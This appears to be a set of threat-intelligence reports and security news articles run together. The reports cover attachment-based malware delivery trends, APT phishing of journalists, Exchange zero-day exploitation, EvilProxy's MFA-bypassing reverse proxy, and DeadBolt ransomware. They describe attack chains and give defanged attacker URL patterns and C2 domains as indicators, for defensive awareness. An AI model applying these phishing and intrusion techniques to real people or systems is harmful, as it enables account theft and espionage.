bumblebee
Figure 2: Example attack chain using ISO attachments to deliver Bumblebee malware.
Proofpoint researchers initially hypothesized that XLL files may be increasingly favored in campaigns instead of macro-enabled documents.
XLL files are a type of dynamic link library (DLL) file for Excel and are designed to increase the functionality of the Excel application.
Proofpoint has seen a slight increase in the abuse of XLL files following Microsoft’s announcement to disable XL4 macros in 2021, however these filetypes are still used significantly less than ISO, RAR, and LNK files, as well as macro-enabled documents.
Campaign Statistics
Proofpoint has observed a significant decrease in macro-enabled documents leveraged as attachments in email-based threats.
The number of these threats dropped over two-thirds between October 2021 and June 2022.
In this same timeframe, the number of campaigns leveraging container files including ISO and RAR, and Windows Shortcut (LNK) attachments increased nearly 175%.
macro
Figure 3: Number of campaigns leveraging container files vs macro-enabled documents as email attachments.
This increase is driven in part by the increased use of ISO and LNK files in campaigns.
Cybercriminal threat actors are increasingly adopting these as initial access mechanisms, such as actors distributing Bumblebee malware.
The use of ISO files increased over 150% between October 2021 and June 2022.
More than half of the 15 tracked threat actors that used ISO files in this time began using them in campaigns after January 2022.
The most notable shift in campaign data is the emergence of LNK files; at least 10 tracked threat actors have begun using LNK files since February 2022.
The number of campaigns containing LNK files increased 1,675% since October 2021.
Proofpoint has tracked multiple cybercriminal and advanced persistent threat (APT) actors leveraging LNK files with increased frequency since October 2021.
LNK files
Figure 4: Number of campaigns leveraging LNK files.
Individual threat actor activities conducted by large cybercriminal groups have a notable impact on our data.
For example, Proofpoint has observed a downward trend of threat actors using XL4 macros in campaigns.
However, XL4 macro use spiked in March 2022.
This is likely a result of TA542, the actor delivering the Emotet malware, conducting more campaigns with higher volumes of messages than preceding months.
Typically, TA542 uses Microsoft Excel or Word documents containing VBA or XL4 macros.
Emotet activity subsequently dropped off in April and it began using additional delivery methods including Excel Add In (XLL) files and zipped LNK attachments in subsequent campaigns.
LX4
Figure 5: Number of XL4 macro-related campaigns October 2021 through June 2022.
The number of VBA macros also decreased overtime and included a small spike in March and April before dropping again in May and June 2022.
This minor increase in Spring 2022 is not attributable to a single threat actor like TA542, rather multiple actors across the threat landscape were using VBA macros in this time.
VBA Macro
Figure 6: Use of VBA macros between October 2021 and June 2022.
Proofpoint has also observed a slight increase in threat actors using HTML attachments to deliver malware.
The number of malware campaigns using HTML attachments more than doubled from October 2021 to June 2022, but the overall number remains low.
Proofpoint researchers also observed threat actors increasingly adopt HTML smuggling, a technique used to "smuggle" an encoded malicious file within a specially crafted HTML attachment or web page.
Conclusion
Threat actors across the threat landscape are pivoting away from macro-enabled documents to increasingly use different filetypes for initial access.
This change is led by the adoption of ISO and other container file formats, as well as LNK files.
Such filetypes can bypass Microsoft’s macro blocking protections, as well as facilitate the distribution of executables that can lead to follow-on malware, data reconnaissance and theft, and ransomware.
Proofpoint researchers assess with high confidence this is one of the largest email threat landscape shifts in recent history.
It is likely threat actors will continue to use container file formats to deliver malware, while relying less on macro-enabled attachments.
Above the Fold and in Your Inbox: Tracing State-Aligned Activity Targeting Journalists, Media
July 14, 2022 Crista Giering, Joshua Miller, Michael Raggi and the Proofpoint Threat Research Team
Key Takeaways
Those involved in media make for appealing targets given the unique access, information, and insights they can provide on topics of state-designated import.
Proofpoint researchers have observed APT actors since early 2021 regularly targeting and posing as journalists and media organizations to advance their state-aligned collection requirements and initiatives.
The identified campaigns have leveraged a variety of techniques from using web beacons for reconnaissance to sending malware to establish initial access into the target’s network.
The focus on media by APTs is unlikely to ever wane, making it important for journalists to protect themselves, their sources, and the integrity of their information by ensuring they have an accurate threat model and secure themselves appropriately.
Overview
Journalists and media organizations suffer from many of the same threats as everyone else.
Between threat actors wanting to steal credentials to resell or to utilize compromised hosts for brokered initial access to spread ransomware, among other threats, this sector is no stranger to the dangers of the threat landscape.
Advanced persistent threat (APT) actors, however, look to those in the field of media for different purposes; ones that could have far-reaching impacts.
Journalists and media organizations are well sought-after targets with Proofpoint researchers observing APT actors, specifically those that are state-sponsored or state-aligned, routinely masquerading as or targeting journalists and media organizations because of the unique access and information they can provide.
The media sector and those that work within it can open doors that others cannot.
A well-timed, successful attack on a journalist’s email account could provide insights into sensitive, budding stories and source identification.
A compromised account could be used to spread disinformation or pro-state propaganda, provide disinformation during times of war or pandemic, or be used to influence a politically charged atmosphere.
Most commonly, phishing attacks targeting journalists are used for espionage or to gain key insights into the inner workings of another government, company, or other area of state-designated import.
Proofpoint data since early 2021 shows a sustained effort by APT actors worldwide attempting to target or leverage journalists and media personas in a variety of campaigns, including those well-timed to sensitive political events in the United States.
Some campaigns have targeted the media for a competitive intelligence edge while others have targeted journalists immediately following their coverage painting a regime in a poor light or as a means to spread disinformation or propaganda.
For the purposes of this report, we focus on the activities of a handful of APT actors assessed to be aligned with the state interests of China, North Korea, Iran, and Turkey.
Targeting Journalists’ Work Email Accounts
As observed in Proofpoint data, targeting journalists’ work email accounts is by far the most seen locus of attack used by APT actors against this target set.
It is important to note that journalists are communicating with external, foreign, and often semi-anonymous parties to gather information.
This outreach increases the risk of phishing since journalists, often by necessity, communicate with unknown recipients more so than the average user.
Verifying or gaining access to such accounts can be an entry point for threat actors for later stage attacks on a media organization’s network or to gain access to desired information.
China
Since early 2021, the APT actor tracked by Proofpoint as TA412, known also as Zirconium based on public reporting by Microsoft about a phishing reconnaissance team within this larger APT threat actor designation, has engaged in numerous reconnaissance phishing campaigns targeting US-based journalists.
TA412, which is believed to be aligned with the Chinese state interest and to have strategic espionage objectives, has favored using malicious emails containing web beacons in these campaigns.
This is a technique consistently used by the threat actor since at least 2016, however, it was likely in use for years prior.
Web beacons, which are commonly referred to as tracking pixels, tracking beacons, and web bugs, embed a hyperlinked non-visible object within the body of an email that, when enabled, attempts to retrieve a benign image file from an actor-controlled server.
Proofpoint researchers assess these campaigns have been intended to validate targeted emails are active and to gain fundamental information about the recipients’ network environments.
Web beacons can provide the following technical artifacts to an attacker which, in turn, can serve as reconnaissance information as a threat actor plans their next stage of attack:
Externally visible IP addresses
User-Agent string
Email address
Validation that the targeted user account is active
The campaigns by TA412 and their ilk evolved over the course of months, adjusting lures to best fit the current US political environment and switching to target US-based journalists focused on different areas of interest to the Chinese government.
The campaigns which targeted journalists were part of a broader pattern of reconnaissance phishing conducted by this threat actor over many years.
2021: Between January and February 2021, Proofpoint researchers identified five campaigns by TA412 targeting US-based journalists, most notably those covering US politics and national security during events that gained international attention.
Of note a very abrupt shift in targeting of reconnaissance phishing occurred in the days immediately preceding the 6 January 2021 attack on the US Capitol Building.
Proofpoint researchers observed a focus on Washington DC and White House correspondents during this time.
The malicious emails utilized subject lines pulled from recent US news articles, such as “Jobless Benefits Run Out as Trump Resists Signing Relief Bill,” “US issues Russia threat to China,” and “Trump Call to Georgia Official Might Violate State and Federal Law.”
The message bodies duplicated text included in the news articles and the web beacon URLs included a benign PNG file with a 0x0 aspect ratio that was retrieved as part of the web beacon in the following format:
hxxp://www.actor-controlled domain[.
]com/Free/<Targeted User Email Fragment>/0103/Customer.png.
The URL structure designates an actor-controlled domain, a campaign identifier, a victim identifier, a campaign date, and the name of the benign PNG resource.
TA412
Figure 1.
Sample of a TA412 web beacon reconnaissance email.
If an email client is configured to block downloadable content, then the web beacon URL should be presented to the target with an option to download the remote content, as seen in this image.
In August 2021, after a months-long break, TA412 again turned to targeting journalists, but this time those working cybersecurity, surveillance, and privacy issues with a focus on China.
Those targeted appeared to have written extensively on social media privacy issues and Chinese disinformation campaigns, signaling an interest by the Chinese state in media narratives that could push a negative global opinion or perception of China.
These campaigns mirrored those identified earlier in 2021 but demonstrated an evolving web beacon URL structure that changes over time.
The observed structure was:
hxxp://[actor-controlled domain/IP]/stringhere/AbbreviatedVictimAddress[@]AbbreviatedTargetedOrganization/filename[.
]png.
2022: After an observed pause in targeting journalists, Proofpoint researchers identified a resumption of targeting this sector on February 9, 2022.
The campaigns were numerous and occurred over a period of ten days.
These campaigns strongly resembled those noted in early 2021 and indicated a desire to collect on US-based media organizations and contributors with a focus on those reporting on US and European engagement in the anticipated Russia-Ukraine war.
Subjects included:
New bill aims to prohibit US military aid to Ukraine
US issues Russia threat to China
Macron reveals Putin 'guarantees'
UK to arm Ukraine with anti-ship missiles against Russia - Kiev's envoy
US says how Ukraine stand-off can be resolved
UK says invasion 'highly likely'
White House says door for diplomacy with Russia remains open, but troop buildup is continuing
Another Chinese APT group, TA459, in late April 2022 targeted media personnel with emails containing a malicious Royal Road RTF attachment (acknowledge.doc) that, if opened, would install and execute Chinoxy malware.
This malware is a backdoor that is used to gain persistence on a victim’s machine.
Researchers at Bitdefender have observed the threat actor’s use of Chinoxy extensively in Southeast Asia since at least 2018.
Of note, the targeted entity was responsible for reporting on the Russia-Ukraine conflict, which aligns with TA459’s historic mandate of collecting on intelligence matters related to Russia and Belarus.
Word
Figure 2.
The Word document attachment, file name acknowledge.doc.
This campaign used a possibly compromised Pakistani government email address to send the emails and looked to entice media recipients with a lure on foreign policy in Afghanistan.
To add to the credibility of the emails, TA459 included links to a benign YouTube video produced by the Islamabad Security Dialogue, which references disinformation campaigns.
YouTube
Figure 3.
Screenshot of the YouTube video link included in the malicious emails.
North Korea
In a vengeful twist, the North Korea-aligned TA404 in early 2022 targeted a US-based media organization with job opportunity-themed phishing.
This attack occurred after the organization published an article critical of North Korean leader Kim Jong Un—a well-known motivator for action by North Korea-aligned APT actors.
TA404, known more broadly as Lazarus, typically engages in highly targeted campaigns that begin with benign messages.
This campaign aligned with that expected behavior.
It started with reconnaissance phishing that used URLs customized to each recipient.
The URLs impersonated a job posting with landing pages designed to look like a branded job posting site.
If a victim interacted with the URL, which contained a unique target ID, the server resolving the domain would have received confirmation that the email was delivered, and the intended target had interacted with it.
This request also provides identifying information about the computer, or device, allowing the host to keep track of the intended target.
While Proofpoint researchers did not observe follow-up emails, considering this threat actor’s proclivity for later sending malware-laden email attachments, it is likely that TA404 would have attempted to send malicious template document attachment or something similar in the future.
Researchers at the Google Threat Analysis Group (TAG) on March 24, 2022 disclosed details on this campaign as part of “Operation Dream Job.”
While journalism and media were not listed among the targeted sectors, Proofpoint has observed shared indicators of compromise utilized in both campaigns identified earlier this year and those reported by Google TAG.
Targeting Journalists’ Social Media Accounts
Targeting journalists and media organizations for their social media account credentials can have significant consequences.
For example, in 2013 a threat actor took over the official Associated Press Twitter account and posted a tweet claiming President Barack Obama had been injured in an attack on the White House.
The stock market dropped more than 100 points in roughly two minutes following the tweet.
Two years later, in 2015, a threat actor compromised about 130 Twitter accounts of influential individuals and tricked some of their followers into transferring more than $100,000 in Bitcoin to attacker-controlled accounts.
While often times campaigns looking to compromise social media accounts, including those by APTs, do not result in such severe or observable outcomes, they can still wind up requiring more than just an account reset or the activation of multi-factor authentication (MFA), especially since enabling MFA is not a guarantee of complete account protection.
Turkey
Since early 2022, Proofpoint researchers have observed a prolific threat actor, tracked as TA482, regularly engaging in credential harvesting campaigns that target the social media accounts of mostly US-based journalists and media organizations.
This victimology, TA482’s use of services originating from Turkey to host its domains and infrastructure, as well as Turkey’s history of leveraging social media to spread pro-President Recep Tayyip Erdogan and pro-Justice and Development Party (Turkey’s ruling party) propaganda support Proofpoint’s assessment that TA482 is aligned with the Turkish state.
Ongoing campaigns have narrowed in on Twitter credentials of any individuals that write for media publications.
This includes journalists from well-known news outlets to those writing for an academic institution and everything in-between.
The malicious emails are typically Twitter security themed and attempt to grab a recipient’s attention with subjects alerting the user to a suspicious or new login location.
TA482
Figure 4.
A typical TA482 Twitter-themed credential phishing email.
If the target clicks on the link supplied in the email, they are taken to a credential harvesting landing page which impersonates a Twitter login page to reset their password.
Twitter
Figure 5.
A TA482 landing page designed to steal a user’s credentials.
Proofpoint researchers cannot independently verify the motivations behind these campaigns, but the possibilities abound and, based on historical Turkey threat actor activity, could include using the compromised accounts to target a journalist’s social media contacts, use the accounts for defacement, or to spread propaganda.
It is possible these attacks will ramp up as Turkey’s 2023 parliamentary and presidential elections draw near.
Posing as Journalists
There is an inherent sense of intrigue when one is approached by a journalist to discuss an area of expertise.
The allure of having research highlighted in the media is often a great motivator to overlook or disregard signs that this opportunity may not be entirely legitimate.
This social engineering tactic successfully exploits the human desire for recognition and is being leveraged by APT actors wishing to target academics and foreign policy experts worldwide, likely in an effort to gain access to sensitive information.
Iran
Multiple Iran-aligned APT actors use journalists or newspapers as pretexts to surveil targets and attempt to harvest their credentials.
One of the most active in Proofpoint telemetry is TA453, also known as Charming Kitten.
TA453, which we assess with high confidence supports the Islamic Revolutionary Guard Corps intelligence collection efforts, routinely masquerades as journalists from around the world.
The threat actor uses these personas to engage in benign conversations with targets, which consist mostly of academics and policy experts working on Middle Eastern foreign affairs.
As can be seen in Figure 6, the content of TA453’s initial outreach emails indicate a degree of research on the intended target likely to enhance the believability of the request and to encourage further dialogue.
TA 543
Figure 6.
Screenshot of a benign TA453 conversation starter, posted by and used with permission from Mahsa Alimardani via Twitter.
If the initial email is ignored, TA453 will often recontact individuals to follow up (Figure 7).
If the targeted recipient does engage in conversation with the persona, TA453 will eventually invite them to a virtual meeting to have further discussions via a customized, but benign PDF (Figure 8).
TA543
Figure 7.
Example of a TA453 follow-up email attempting to solicit a response from the target.
TA543
Figure 8.
Example of a TA453 benign PDF uploaded to VirusTotal.
The vast majority of TA453 campaigns ultimately lead to credential harvesting.
The benign PDFs, similar to Figure 8, are typically delivered from file hosting services and almost always contain a link to a URL shortener and IP tracker that redirects targets to the credential harvesting domains on actor-controlled infrastructure.
TA543
Figure 9.
Standard TA453 attack chain.
TA456, also known as Tortoiseshell, is another Iran-aligned threat actor that routinely masquerades as media organizations sending newsletters across the ideological spectrum, including Fox News and the Guardian.
TA456 has repeatedly targeted the same users with newsletter themed emails containing web beacons.
This activity likely has complemented TA456's efforts to deliver malware via relationships built on social media similar to previous campaigns.
TA543
Figure 10.
Examples of the newsletter-themes used by TA456 in the bodies of their phishing emails.
Lastly, TA457, an Iran-aligned threat actor active in Proofpoint data since late 2021, has been known to masquerade as an “iNews Reporter” to deliver malware to public relations personnel for companies located in the US, Israel, and Saudi Arabia.
For example, in early March 2022, TA457 sent an email with the ironic subject “Iran Cyber War” and the actor-controlled domain news-spot[.
]live.
The campaign continued TA457’s pattern of using news themed lure websites to deliver a malicious URL.
The URL structure (news-spot[.
]live/Reports/1/?id=[Campaign/Lure Identifier]&pid=[TargetIdentifier]) has both an identifier to track which lure documents to deliver along with a PID to determine which recipient is receiving the phish.
The themes of documents have included Iran, Russia, drones, war crimes, “secret weapons,” and more.
When a user clicks the malicious URL, two files are downloaded: a Word document and an .scr file.
When macros are enabled on the document, it drops an embedded executable file (DnsDig.exe).
When the reader.scr file is dropped, it downloads DnsDig.exe from the URL and also drops iran.pdf as a decoy to the user.
DnsDig is a TA457 remote access trojan that uses DNS tunneling to a hardcoded domain (cyberclub[.
]one).
Figure 11.
Attack chain of TA457 “Iran Cyber War” campaign.
Cyber War
Figure 11.
Attack chain of TA457 “Iran Cyber War” campaign.
Between September 2021 and March 2022, Proofpoint observed TA457 campaigns approximately every two to three weeks.
The March 2022 campaign targeted both individual and generic, group email addresses such as international.media@[redacted].com at less than ten Proofpoint customers involved in energy, media, government, and manufacturing.
Conclusion
Targeting journalists and media organizations is not novel.
APT actors, regardless of their state affiliation, have and will likely always have a mandate to target journalists and media organizations and will use associated personas to further their objectives and collection priorities.
From intentions to gather sensitive information to attempts to manipulate public perceptions, the knowledge and access that a journalist or news outlet can provide is unique in the public space.
Targeting the media sector also lowers the risk of failure or discovery to an APT actor than going after other, more hardened targets of interest, such as government entities.
The varied approaches by APT actors—using web beacons for reconnaissance, credential harvesting, and sending malware to gain a foothold in a recipient’s network—means those operating in the media space need to stay vigilant.
Assessing one’s personal level of risk can give an individual a good sense of the odds they will end up as a target.
Such as, if you report on China or North Korea or associated threat actors, you may become part of their collection requirements in the future.
Being aware of the broad attack surface—all the varied online platforms used for sharing information and news—an APT actor can leverage is also key to preventing oneself from becoming a victim.
And ultimately practicing caution and verifying the identity or source of an email can halt an APT attack in its nascent stage.
What does the recent Microsoft Exchange attack frenzy tell CISOs about their approach to security?
Before ESET shone the light on a slew of APT groups exploiting vulnerabilities in Exchange servers around the world, a smaller number were using zero days in targeted attacks – leading CISOs to reconsider their security approach.
At the front end of 2021, the SolarWinds supply-chain attack was revealed as increasingly worse than initially reported, providing a heavy reminder of the many dependencies involved in the security of software delivery and integration, and the fact that these factors can lead to unexpected cyberattacks – in this case, an update to the legitimate Orion software was laced with malware.
Now, the recent spate of attacks against Microsoft Exchange perpetrated by at least 10 advanced persistent threat (APT) groups is going to mark our memories with yet another lesson – the importance of reducing the attack surface of business applications such as Exchange or SharePoint.
For people in many jobs – including public officials, IT security admins, PR folk and so on – timely communication and response even during off hours is indispensable, with email often being the tool of choice.
While Exchange has made its name as “the corporate choice” for email services, it has also attracted the sullied interest of APT groups – meaning securing Exchange servers is paramount.
But even for IT staff, just getting the on-premises version of Exchange up and running can be a bit of a hurdle because it is a complex application, and maintaining it can be like riding a bucking bronco.
As the mass exploitation of Exchange servers demonstrated, it can be very hard to patch in time to avoid being compromised.
At the very least, organizations should raise the level of difficulty against intruders by requiring a virtual private network and multifactor authentication to better secure non-necessary internet access to email servers.
A feeding frenzy: APT groups race against time to exploit the recent vulnerabilities in Exchange
In early March, while the vulnerabilities in Exchange were still zero days, at least six APT groups were exploiting those vulnerabilities in targeted attacks.
Shortly after Microsoft released patches, ESET saw four additional groups join the fray, with ESET telemetry recording a massive increase in webshells detected on email servers.
Clearly, a race had ensued to force entry and establish persistence on unpatched email servers before organizations could close the door by applying the patches.
The European Banking Authority and the Norwegian Parliament both publicly declared they were affected in the attacks, while ESET saw over 5,000 email servers around the world that were affected, including those of:
governmental entities in the Middle East, South America, Africa, Asia and Europe;
a utility company in Central Asia;
an IT services company in South Korea;
a procurement company and a consulting company specializing in software development and cybersecurity, both based in Russia;
an oil company in Mongolia;
a construction equipment company in Taiwan;
a software development company based in Japan; and
a real estate company based in Israel.
The zero days utilized in the attacks are known as pre-authentication remote code execution (RCE) vulnerabilities – arguably the worst kind: attackers can infiltrate any Exchange server within reach, especially via the internet, without needing any credentials.
How do you balance security and usability needs for Exchange?
While it may be more secure to avoid giving your critical applications like Exchange and SharePoint a face to the internet at all, what can you do if that is not possible?
In a zero-day attack you are already one step behind the attackers.
Even with dedicated IT teams and patches coming out quickly, applying those patches in time to prevent a compromise becomes a race in which attackers with zero-day exploits in their pockets have a head start.
Perhaps what this experience reveals to CISOs is the utility of taking an “assume I am compromised” approach to security.
It’s not just about having an expert Exchange administrator and security team, whether in-house or outsourced from a managed service provider, but also about an attitude that soberly admits “it’s only a matter of time.”
Then you put down the investment that you need to get equipped with threat hunting tools, such as endpoint detection and response (EDR) solutions, and get your horse back in the race.
Although that itself requires a mature security team, or a managed service provider, that can wield those EDR solutions to best effect.
The added benefit, however, is that you get some of the flexibility and usability back that you would like to have with your applications.
You know that your applications and servers are likely to be probed for unknown weaknesses, but you don’t worry as much because you can deal with it right away – which just might be enough to restore the balance between usability and security.
FBI: Hackers increasingly exploit DeFi bugs to steal cryptocurrency
The U.S. Federal Bureau of Investigation (FBI) is warning investors that cybercriminals are increasingly exploiting security vulnerabilities in Decentralized Finance (DeFi) platforms to steal cryptocurrency.
"The FBI has observed cyber criminals exploiting vulnerabilities in the smart contracts governing DeFi platforms to steal investors' cryptocurrency," the federal law enforcement agency said.
"The FBI encourages investors who suspect cyber criminals have stolen their DeFi investments to contact the FBI via the Internet Crime Complaint Center or their local FBI field office."
The public service announcement, published on the FBI's Internet Crime Complaint Center (IC3) today, adds that out of roughly $1.3 billion in cryptocurrency stolen between January and March 2022, snatched almost 97 percent of it from DeFi platforms.
Per FBI's calculations, this amounts to a significant increase from 72 percent in 2021 and approximately 30 percent in 2020, respectively.
Attackers have used various methods to hack and steal cryptocurrency from DeFi platforms, including initiating flash loans that trigger exploits in the platforms' smart contracts and exploiting signature verification flaws in their token bridge to withdraw all investments.
The agency has also observed cybercriminals manipulating crypto price pairs by exploiting chains of vulnerabilities, including the DeFi platforms' use of a single price oracle and then conducting leveraged trades to bypass slippage checks.
The FBI recommends investors take precautions before making an investment decision, such as to:
Research DeFi platforms, protocols, and smart contracts before investing and be aware of the specific risks involved in DeFi investments.
Ensure the DeFi investment platform has conducted one or more code audits performed by independent auditors.
A code audit typically involves a thorough review and analysis of the platform's underlying code to identify vulnerabilities or weaknesses in the code that could negatively impact the platform's performance.
Be alert to DeFi investment pools with extremely limited timeframes to join and rapid deployment of smart contracts, especially without the recommended code audit.
Be aware of the potential risk posed by crowdsourced solutions to vulnerability identification and patching.
Open source code repositories allow unfettered access to all individuals, including those with nefarious intentions.
DeFi platforms under heavy targeting
FBI's warning follows a Chainalysis report from April that highlighted how, according to Q1 2022 data, DeFi cryptocurrency platforms are now more targeted than ever.
In most incidents, the attackers rely on exploiting security vulnerabilities in their code or a security breach on the platform, allowing them to siphon cryptocurrency to addresses under their control.
According to Chainalysis, threat actors behind such attacks have laundered most of the stolen assets in 2022 using risky laundering services such as illegal exchanges and coin tumblers on the dark web.
While in 2021, around 25% of all cryptocurrency stolen from DeFi platforms was later recovered and returned to the victims, this year no DeFi-stolen funds have been returned, showing that attackers are less interested in securing their stolen assets.
In April, the FBI linked the hack of Axie Infinity's Ronin network bridge, now the largest crypto hack ever, to the Lazarus and BlueNorOff (aka APT38) North Korean threat groups.
The previous most significant theft of cryptocurrency was the $611 million hack of the decentralized cross-chain protocol and network Poly Network in August 2021.
"Cyber criminals seek to take advantage of investors' increased interest in cryptocurrencies, as well as the complexity of cross-chain functionality and open source nature of DeFi platforms," further warned the FBI today.
"Investors should make their own investment decisions based on their financial objectives and financial resources and, if in any doubt, should seek advice from a licensed financial adviser."
New EvilProxy service lets all hackers use advanced phishing tactics
A reverse-proxy Phishing-as-a-Service (PaaS) platform called EvilProxy has emerged, promising to steal authentication tokens to bypass multi-factor authentication (MFA) on Apple, Google, Facebook, Microsoft, Twitter, GitHub, GoDaddy, and even PyPI.
The service enables low-skill threat actors who don't know how to set up reverse proxies to steal online accounts that are otherwise well-protected.
Reverse proxies are servers that sit between the targeted victim and a legitimate authentication endpoint, such as a company's login form.
When the victim connects to a phishing page, the reverse proxy displays the legitimate login form, forwards requests, and returns responses from the company's website.
When the victim enters their credentials and MFA to the phishing page, they are forwarded to the actual platform's server, where the user is logged in, and a session cookie is returned.
However, as the threat actor's proxy sits in the middle, it can also steal the session cookie containing the authentication token.
The threat actors can then use this authentication cookie to log in to the site as the user, bypassing configured multi-factor authentication protections.
How reverse proxies work
How reverse proxies work (Resecurity)
Sophisticated APT groups have been employing reverse proxies for a while now to bypass MFA protections on target accounts, some using their own custom tools while others using more readily-deployable kits like Modlishka, Necrobrowser, and Evilginx2.
The difference between these phishing frameworks and EvilProxy is that the latter is far simpler to deploy, offers detailed instructional videos and tutorials, a user-friendly graphical interface, and a rich selection of cloned phishing pages for popular internet services.
Usage instructions on the platform
Usage instructions on the platform (Resecurity)
A deeper look at EvilProxy
Cybersecurity firm Resecurity reports that EvilProxy offers an easy-to-use GUI where threat actors can set up and manage phishing campaigns and all the details that underpin them.
Setting up a new campaign on the phishing service
Selecting campaign options on the phishing service (Resucurity)
The service promises to steal usernames, passwords, and session cookies, for a cost of $150 for ten days, $250 for 20 days, or $400 for a month-long campaign.
Attacks against Google accounts cost more, at $250/450/600.
In the following video, Resecurity demonstrates how an attack against a Google account would unfold through EvilProxy.
While the service is actively promoted on various clearnet and dark web hacking forums, the operators vet the clients, so some prospective buyers are likely rejected.
According to Resecurity, the payment for the service is arranged individually on Telegram.
Once the deposit is made, the customer gets access to the portal hosted in the onion network (TOR).
Resecurity's test of the platform confirmed that EvilProxy also offers VM, anti-analysis, and anti-bot protection to filter out invalid or unwanted visitors on the phishing sites hosted by the platform.
Anti-VM features on EvilProxy
Anti-analysis features on EvilProxy (Resecurity)
“The bad actors are using multiple techniques and approaches to recognize victims and to protect the phishing-kit code from being detected,” explains Resecurity in the report.
“Like fraud prevention and cyber threat intelligence (CTI) solutions, they aggregate data about known VPN services, Proxies, TOR exit nodes and other hosts which may be used for IP reputation analysis (of potential victims).”
As MFA adoption continues to increase, more threat actors turn to reverse-proxy tools, and the appearance of a platform that automates everything for the crooks isn’t good news for security professionals and network admins.
For now, this problem remains addressable only by implementing client-side TLS fingerprinting to identify and filter out man-in-the-middle requests.
However, the status of this implementation in the industry isn’t in sync with the developments.
Hence, platforms like EvilProxy essentially bridge the skill gap and offer low-tier threat actors a cost-efficient way to steal valuable accounts.
Samsung discloses data breach after July hack
Electronics giant Samsung has confirmed a new data breach today after some of its U.S. systems were hacked to steal customer data.
The company said its systems were compromised in late July 2022.
Samsung later discovered on August 4 that customer personal information was accessed and exfiltrated out of its network.
While the attackers did not steal Social Security or credit card numbers during the breach, they snatched Samsung customers' names, contacts and demographic information, dates of birth, and product registration data.
"Samsung detected the incident and has taken actions to secure the affected systems.
As part of our ongoing investigation, we have engaged a leading outside cybersecurity firm and are coordinating with law enforcement," Samsung said.
"The information affected for each relevant customer may vary.
We are notifying customers to make them aware of this matter," the company added.
Samsung advises impacted individuals to:
Remain cautious of any unsolicited communications that ask for your personal information or refer you to a web page asking for personal information
Avoid clicking on links or downloading attachments from suspicious emails
Review your accounts for suspicious activity
This is the second data breach Samsung confirmed since the start of the year, with the electronics giant saying in March that the data extortion group Lapsus$ breached its network and stole confidential information, including Galaxy devices' source code.
The hackers leaked 190GB of archives containing what they claimed at the time to be documents stolen from Samsung's servers.
Samsung didn't reply to a request for more details regarding the July data breach when BleepingComputer reached out earlier today.
QNAP patches zero-day used in new Deadbolt ransomware attacks
QNAP is warning customers of ongoing DeadBolt ransomware attacks that started on Saturday by exploiting a zero-day vulnerability in Photo Station.
The company has patched the security flaw but attacks continue today.
"QNAP® Systems, Inc. today detected the security threat DEADBOLT leveraging exploitation of Photo Station vulnerability to encrypt QNAP NAS that are directly connected to the Internet," explains the security notice.
The attacks were widespread, with the ID Ransomware service seeing a surge in submissions on Saturday and Sunday.
QNAP releases patches for a zero-day flaw
QNAP released Photo Station security updates 12 hours after DeadBolt began using the zero-day vulnerability in attacks, urging NAS customers to immediately update Photo Station to the newest version.
The following security updates fix the vulnerability:
QTS 5.0.1: Photo Station 6.1.2 and later
QTS 5.0.0/4.5.x: Photo Station 6.0.22 and later
QTS 4.3.6: Photo Station 5.7.18 and later
QTS 4.3.3: Photo Station 5.4.15 and later
QTS 4.2.6: Photo Station 5.2.14 and later
Alternatively, QNAP suggests users replace Photo Station with QuMagie, a safer photo storage management tool for QNAP NAS devices.
“We strongly urge that their QNAP NAS should not be directly connected to the internet.
We recommend users to make use of the myQNAPcloud Link feature provided by QNAP, or enable the VPN service.” - QNAP.
Applying the security updates will prevent the DeadBolt ransomware and other threat actors from exploiting the vulnerability and encrypting devices.
However, NAS devices should never be publicly exposed to the Internet and instead placed behind a firewall.
QNAP customers can find detailed instructions on applying the available updates and setting up myQNAPcloud in the security advisory.
Finally, it is recommended to use strong passwords on all NAS user accounts and take regular snapshots to prevent data loss in the case of attacks.
The DeadBolt ransomware gang has been targeting NAS devices since January 2022, using an alleged zero-day vulnerability on Internet-exposed NAS devices.
The ransomware operation conducted further attacks on QNAP devices in May and June 2022.
Earlier in February, DeadBolt began targeting ASUSTOR NAS devices using a zero-day vulnerability they attempted to sell to the vendor for 7.5 Bitcoin.
In most of these attacks, DeadBolt demanded a payment of just over a thousand USD from impacted users in exchange for a working decryptor.
However, other NAS ransomware groups demand more significant amounts from their victims.
The Checkmate ransomware targeted QNAP NAS products in July, demanding victims pay $15,000.
Microsoft Exchange exploits – step one in ransomware chain
Once attackers gain a foothold on web servers, there are all manner of nasty tricks and malware they can leverage immediately or put into play later – like ransomware.
Since the research blogpost – Exchange servers under siege from at least 10 APT groups – ESET has been busy looking at the attack trends that have emerged post exploitation.
In this piece, we’d like to specifically provide you with a quick update on the CVE-2021-26855 exploit chain affecting Microsoft Exchange, which includes the CVE-2021-26857, CVE-2021-26858, and CVE-2021-27065 vulnerabilities.
ESET currently detects the following mechanisms used by Hafnium, LuckyMouse and other groups to compromise Microsoft Exchange servers:
In light of recent Microsoft Exchange exploits after the vulnerability disclosure and patch release, and combing through our own data, we now wonder how many organizations have already been probed and infiltrated for future attacks, such as by ransomware.
The calculus for attackers is simple: Get a foothold on a Microsoft Exchange server, which gives you very privileged access to a company – possibly admin rights – and then plan your upcoming attack.
To counter these sorts of scenarios, the recommended first step after applying patches is to perform an investigation and search for compromise remnants and malware or malware traces.
Companies sporting endpoint detection and response (EDR) tools will be able to this with measurably better effect.
ESET has pursued mitigation strategies on multiple fronts with researchers and even corporate officers getting in on the act.
ESET Netherlands CTO Donny Maasland has also contributed to the effort, creating a custom set of rules for ESET Enterprise Inspector that can be used to detect CVE-2021-26855 exploitation.
The rules fall into two classes:
A set of rules dealing with network (URL) connections.
These rules detect the actual server-side request forgery (SSRF) exploit that targets Microsoft Exchange’s code and are payload independent
A rule that checks the IIS process when writing .aspx files to disk.
The rules referenced above are configured for ESET Enterprise Inspector, however, it should be possible to adapt them for other EDR platforms.
These are certainly interesting times we live in, when CTOs join researchers and security operations center teams in demonstrating use cases for EDR.
However, the frenzy of malicious activity wrought by Exchange exploits has set a new precedent.
Attack attempts – some of what we can expect
In the graphic above we can see a snapshot of post-exploitation malware, some of which can bring ransomware along with it.
In this scenario, attackers can gain command shell access to the web server powering Microsoft Exchange and use its privileges to deploy ransomware across the company.
Additionally, since attackers have a foothold on key servers, they can directly exploit the server platform to deliver malware that can exfiltrate data, encrypt sensitive information and plant a backdoor for later use, all playing into the ransomware scenario.
If attackers are simply interested in unfettered data theft of competitive secrets, they may not leave a trace, so ransomware may not be their first objective.
